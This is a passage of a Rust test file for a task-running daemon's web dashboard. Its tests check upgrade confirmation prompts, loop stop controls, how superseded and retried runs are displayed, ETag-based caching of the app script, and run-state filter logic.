9986 the successor is what finishes it"
9987 );
9988 }
9989
9990 #[test]
9991 fn the_upgrade_button_arms_before_it_restarts_anything() {
9992 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9995 assert!(APP_JS.contains("Replace the binary and restart?"));
9996 assert!(APP_JS.contains("function confirmed("));
9997 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10002 assert!(
10006 APP_JS.contains("Parking, then restarting"),
10007 "the button says what it is waiting for"
10008 );
10009 assert!(APP_JS.contains("if (!out.to)"));
10012 }
10013
10014 #[test]
10015 fn stopping_the_loop_arms_but_starting_does_not() {
10016 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10019 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10020 assert!(APP_JS.contains("confirmed(button, question)"));
10021 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10024 assert!(APP_JS.contains("const label = btn.textContent;"));
10025 assert!(!APP_JS.contains("Neither direction is guarded"));
10026 }
10027
10028 #[test]
10029 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10030 assert!(
10031 APP_JS.contains("state.health.version"),
10032 "the operator wants to know what is running even with nothing newer"
10033 );
10034 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10035 }
10036
10037 #[test]
10038 fn the_upgrade_button_names_its_destination() {
10039 assert!(
10040 APP_JS.contains("`Update to ${update.to}`"),
10041 "pressing the button should not be a surprise about what it moves to"
10042 );
10043 }
10044
10045 #[test]
10046 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10047 for stage in ["downloading", "replaced", "parking", "restarting"] {
10048 assert!(
10049 APP_JS.contains(&format!("\"{stage}\"")),
10050 "the phone must be able to tell {stage} apart from the others"
10051 );
10052 }
10053 assert!(APP_JS.contains(".waiting_on"));
10054 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10059 assert!(APP_JS.contains("reconnects on its own"));
10060 }
10061
10062 #[test]
10063 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10064 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10073 ..APP_JS.find("function upgrade(").expect("upgrade")];
10074 assert!(
10075 !body.contains(
10076 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10077 ),
10078 "a failed upgrade must not take the whole strip over the way it used to"
10079 );
10080 assert!(
10081 body.contains("upgradeFailNote"),
10082 "the failure has to reach the loop's own note instead"
10083 );
10084 assert_eq!(
10088 body.matches("upgradeFailNote].filter(Boolean).join")
10089 .count(),
10090 2,
10091 "both loop-why writers (quiet and control) must fold the note in"
10092 );
10093 }
10094
10095 #[test]
10096 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10097 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10100 assert!(APP_JS.contains("function upgradeOverdue("));
10101 }
10102
10103 #[test]
10104 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10105 assert!(
10106 APP_JS.contains("Updated to ${upgradeInfo.to"),
10107 "the operator who asked for the restart wants to know it worked"
10108 );
10109 }
10110
10111 #[test]
10112 fn an_error_is_visible_from_where_the_button_is() {
10113 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10118 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10119 assert!(
10120 alert.contains("position: fixed"),
10121 "an error about the thing under your thumb has to be visible from \
10122 where your thumb is: {alert}"
10123 );
10124 assert!(
10125 alert.contains("z-index: 25"),
10126 "above the dock (20) and the run-actions FAB (15), so neither \
10127 buries it: {alert}"
10128 );
10129 assert!(
10130 alert.contains("var(--tap)"),
10131 "and clear of the dock and the home indicator: {alert}"
10132 );
10133 assert!(
10136 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10137 "the FAB's column stays free: {alert}"
10138 );
10139 }
10140
10141 #[tokio::test]
10142 async fn an_older_attempt_says_what_replaced_it() {
10143 let fx = Fixture::start().await;
10144 let q = fx.queue();
10145 let runs = fx.runs();
10146 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10147 write_run(&runs, first, RunStatus::Stalled);
10148 write_run(&runs, second, RunStatus::Blocked);
10149
10150 let mut t = Task::new(
10151 "one task".to_owned(),
10152 "do it".to_owned(),
10153 PathBuf::from("/repo"),
10154 Source::Human,
10155 );
10156 t.runs = vec![first.to_owned(), second.to_owned()];
10157 q.put(&mut t).expect("put");
10158
10159 let rows = fx.get("/api/runs").await.json();
10163 let by = |short: &str| -> Value {
10164 rows.as_array()
10165 .unwrap()
10166 .iter()
10167 .find(|r| r["short"] == short)
10168 .cloned()
10169 .unwrap_or(Value::Null)
10170 };
10171 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10172 assert!(
10173 by("bbbb")["superseded_by"].is_null(),
10174 "the latest attempt is not superseded by anything"
10175 );
10176 assert!(APP_JS.contains("run.superseded_by"));
10178 assert!(APP_JS.contains("Superseded by"));
10179 }
10180
10181 #[tokio::test]
10182 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10183 let fx = Fixture::start().await;
10188 let q = fx.queue();
10189 let runs = fx.runs();
10190 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10191 write_run(&runs, first, RunStatus::Blocked);
10192 write_run(&runs, second, RunStatus::Merged);
10193
10194 let mut t = Task::new(
10195 "one task".to_owned(),
10196 "do it".to_owned(),
10197 PathBuf::from("/repo"),
10198 Source::Human,
10199 );
10200 t.runs = vec![first.to_owned(), second.to_owned()];
10201 q.put(&mut t).expect("put");
10202
10203 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10204 assert_eq!(earlier["superseded_by"], "dddd");
10205 assert_eq!(earlier["latest_attempt"]["id"], second);
10206 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10207 assert_eq!(
10208 earlier["latest_attempt"]["resolved"], true,
10209 "the run that replaced it landed, so this one reads as settled"
10210 );
10211
10212 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10213 assert!(
10214 later["superseded_by"].is_null(),
10215 "the latest attempt is not superseded by anything"
10216 );
10217 assert!(
10218 later["latest_attempt"].is_null(),
10219 "the latest attempt has no later attempt of its own"
10220 );
10221
10222 assert!(APP_JS.contains("run.latest_attempt"));
10229 assert!(APP_JS.contains("data-superseded"));
10230 assert!(APP_JS.contains("#/runs/${latest.id}"));
10231 }
10232
10233 #[tokio::test]
10234 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10235 let fx = Fixture::start().await;
10241 let q = fx.queue();
10242 let runs = fx.runs();
10243 let (a, b, c) = (
10244 "20260901-000000-aaaa",
10245 "20260901-000000-bbbb",
10246 "20260901-000000-cccc",
10247 );
10248 write_run(&runs, a, RunStatus::Blocked);
10249 write_run(&runs, b, RunStatus::Blocked);
10250 write_run(&runs, c, RunStatus::Merged);
10251
10252 let mut t = Task::new(
10253 "retried twice".to_owned(),
10254 "do it".to_owned(),
10255 PathBuf::from("/repo"),
10256 Source::Human,
10257 );
10258 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10259 q.put(&mut t).expect("put");
10260
10261 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10262 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10263 assert_eq!(
10264 view["latest_attempt"]["id"], c,
10265 "the chain's current head, not the intermediate Blocked retry"
10266 );
10267 assert_eq!(view["latest_attempt"]["resolved"], true);
10268
10269 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10270 assert_eq!(mid["latest_attempt"]["id"], c);
10271 assert_eq!(mid["latest_attempt"]["resolved"], true);
10272 }
10273
10274 #[tokio::test]
10275 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10276 let fx = Fixture::start().await;
10277 let q = fx.queue();
10278 let runs = fx.runs();
10279
10280 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10283 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10284 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10285 let mut t1 = Task::new(
10286 "still stuck".to_owned(),
10287 "do it".to_owned(),
10288 PathBuf::from("/repo"),
10289 Source::Human,
10290 );
10291 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10292 q.put(&mut t1).expect("put");
10293 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10294 assert_eq!(view1["latest_attempt"]["resolved"], false);
10295
10296 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10301 write_run(&runs, noop_a, RunStatus::Blocked);
10302 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10303 let mut t2 = Task::new(
10304 "claims done".to_owned(),
10305 "do it".to_owned(),
10306 PathBuf::from("/repo"),
10307 Source::Human,
10308 );
10309 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10310 q.put(&mut t2).expect("put");
10311 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10312 assert_eq!(
10313 view2["latest_attempt"]["resolved"], false,
10314 "an unverified no-op claim must not read as a confirmed finish"
10315 );
10316
10317 assert!(APP_JS.contains("latest.resolved"));
10320 }
10321
10322 #[tokio::test]
10323 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10324 let fx = Fixture::start().await;
10325 let js = fx.get("/app.js").await;
10331 assert_eq!(js.status, 200);
10332 let tag = js
10333 .header("etag")
10334 .expect("an etag to revalidate against")
10335 .to_owned();
10336 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10337 assert_eq!(
10338 js.header("cache-control"),
10339 Some("no-cache, must-revalidate"),
10340 "the phone has to ask every time"
10341 );
10342
10343 let again = fx
10346 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10347 .await;
10348 assert_eq!(
10349 again.status, 304,
10350 "a deck it already has costs one round trip"
10351 );
10352 assert!(again.body.is_empty(), "304 carries no body");
10353
10354 let weak = fx
10357 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10358 .await;
10359 assert_eq!(weak.status, 304);
10360 let stale = fx
10361 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10362 .await;
10363 assert_eq!(stale.status, 200, "an older build must be replaced");
10364 assert!(stale.body.contains("renderRunActions"));
10365 }
10366
10367 #[test]
10368 fn the_deck_never_sends_the_operator_to_a_terminal() {
10369 assert!(
10372 !APP_JS.contains("Run `magi fold` first"),
10373 "the deck must offer the fold, not prescribe a shell command"
10374 );
10375 assert!(APP_JS.contains("foldRun:"));
10376 assert!(APP_JS.contains("resumeRun:"));
10377 assert!(APP_JS.contains("renderRunActions"));
10378
10379 assert!(APP_JS.contains("armedFold"));
10381 assert!(APP_JS.contains("Yes, fold worktrees"));
10382
10383 assert!(APP_JS.contains("can no longer be resumed"));
10386 }
10387
10388 #[test]
10389 fn a_finished_run_explains_itself_with_its_own_last_line() {
10390 assert!(
10396 !APP_JS.contains("collapsed on agent quota"),
10397 "a stall must not be explained by a cause the deck did not check"
10398 );
10399 assert!(
10400 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10401 "and a block must not offer a guess with an `or` in it"
10402 );
10403
10404 assert!(
10408 APP_JS.contains("setText(r.event, run.event || \"\")"),
10409 "the run's last line is rendered unconditionally"
10410 );
10411 assert!(
10412 !APP_JS.contains("moving && run.event"),
10413 "and never gated on the run still moving"
10414 );
10415
10416 assert!(APP_JS.contains("lost to quota"));
10418 }
10419
10420 #[test]
10442 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10443 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10444 let shapes_body_start =
10445 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10446 let shapes_close = APP_JS[shapes_body_start..]
10447 .find("].map(")
10448 .expect("the shape list is closed by its done-computing .map(...)")
10449 + shapes_body_start;
10450 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10451
10452 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10453 for entry in shapes_src.split('{').skip(1) {
10454 let waiting = entry.contains("waiting: true");
10455 let dead = entry.contains("live: \"dead\"");
10456 let status_at =
10457 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10458 let status_end = entry[status_at..]
10459 .find('"')
10460 .expect("the status string is closed")
10461 + status_at;
10462 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10463 }
10464 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10465
10466 let done_rule_marker = "done: !";
10470 let done_rule_at = APP_JS[shapes_close..]
10471 .find(done_rule_marker)
10472 .expect("the done rule follows the shape list")
10473 + shapes_close
10474 + done_rule_marker.len();
10475 let includes_at = APP_JS[done_rule_at..]
10476 .find(".includes(shape.status)")
10477 .expect("the done rule ends in .includes(shape.status)")
10478 + done_rule_at;
10479 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10480 .trim()
10481 .trim_start_matches('[')
10482 .trim_end_matches(']')
10483 .split(',')
10484 .map(|s| s.trim().trim_matches('"'))
10485 .filter(|s| !s.is_empty())
10486 .collect();
10487
10488 let shapes: Vec<(bool, String, bool, bool)> = shapes
10489 .into_iter()
10490 .map(|(waiting, status, dead)| {
10491 let done = !not_done.contains(&status.as_str());
10492 (waiting, status, dead, done)
10493 })
10494 .collect();
10495
10496 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10500 if waiting {
10501 return "waiting";
10502 }
10503 if dead
10504 && !matches!(
10505 status,
10506 "merged"
10507 | "ready"
10508 | "stalled"
10509 | "blocked"
10510 | "failed"
10511 | "verified_noop"
10512 | "superseded"
10513 )
10514 {
10515 return "stale";
10516 }
10517 match status {
10518 "merged" | "ready" => "landed",
10519 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10520 _ => "flight",
10521 }
10522 }
10523
10524 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10527 match filter_key {
10528 "active" => !done,
10529 "flight" => !done && !waiting && !dead,
10530 "stale" => !done && !waiting && dead,
10531 "waiting" => waiting,
10532 "done" => done,
10533 "all" => true,
10534 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10535 }
10536 }
10537
10538 let compatible = |section: &str, filter_key: &str| {
10539 shapes.iter().any(|(waiting, status, dead, done)| {
10540 run_section(*waiting, status, *dead) == section
10541 && filter_matches(filter_key, *waiting, *dead, *done)
10542 })
10543 };
10544
10545 let expected = [
10550 ("waiting", [true, false, false, true, true, true]),
10551 ("stale", [true, false, true, false, false, true]),
10552 ("flight", [true, true, false, false, false, true]),
10553 ("landed", [false, false, false, false, true, true]),
10554 ("ended", [false, false, false, false, true, true]),
10555 ];
10556 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10557
10558 for (section, wants) in expected {
10559 for (filter_key, want) in filter_keys.iter().zip(wants) {
10560 assert_eq!(
10561 compatible(section, filter_key),
10562 want,
10563 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10564 );
10565 }
10566 }
10567
10568 assert!(
10571 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10572 );
10573 assert!(APP_JS.contains(
10574 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10575 ));
10576 assert!(APP_JS.contains(
10577 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10578 ));
10579 }
10580
10581 #[tokio::test]
10582 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10583 let dir = tempfile::tempdir().expect("tempdir");
10587 let explicit = dir.path().join("not-a-checkout");
10588 std::fs::create_dir_all(&explicit).expect("create dir");
10589 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10590
10591 let missing = dir.path().join("does-not-exist-at-all");
10592 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10593 }
10594}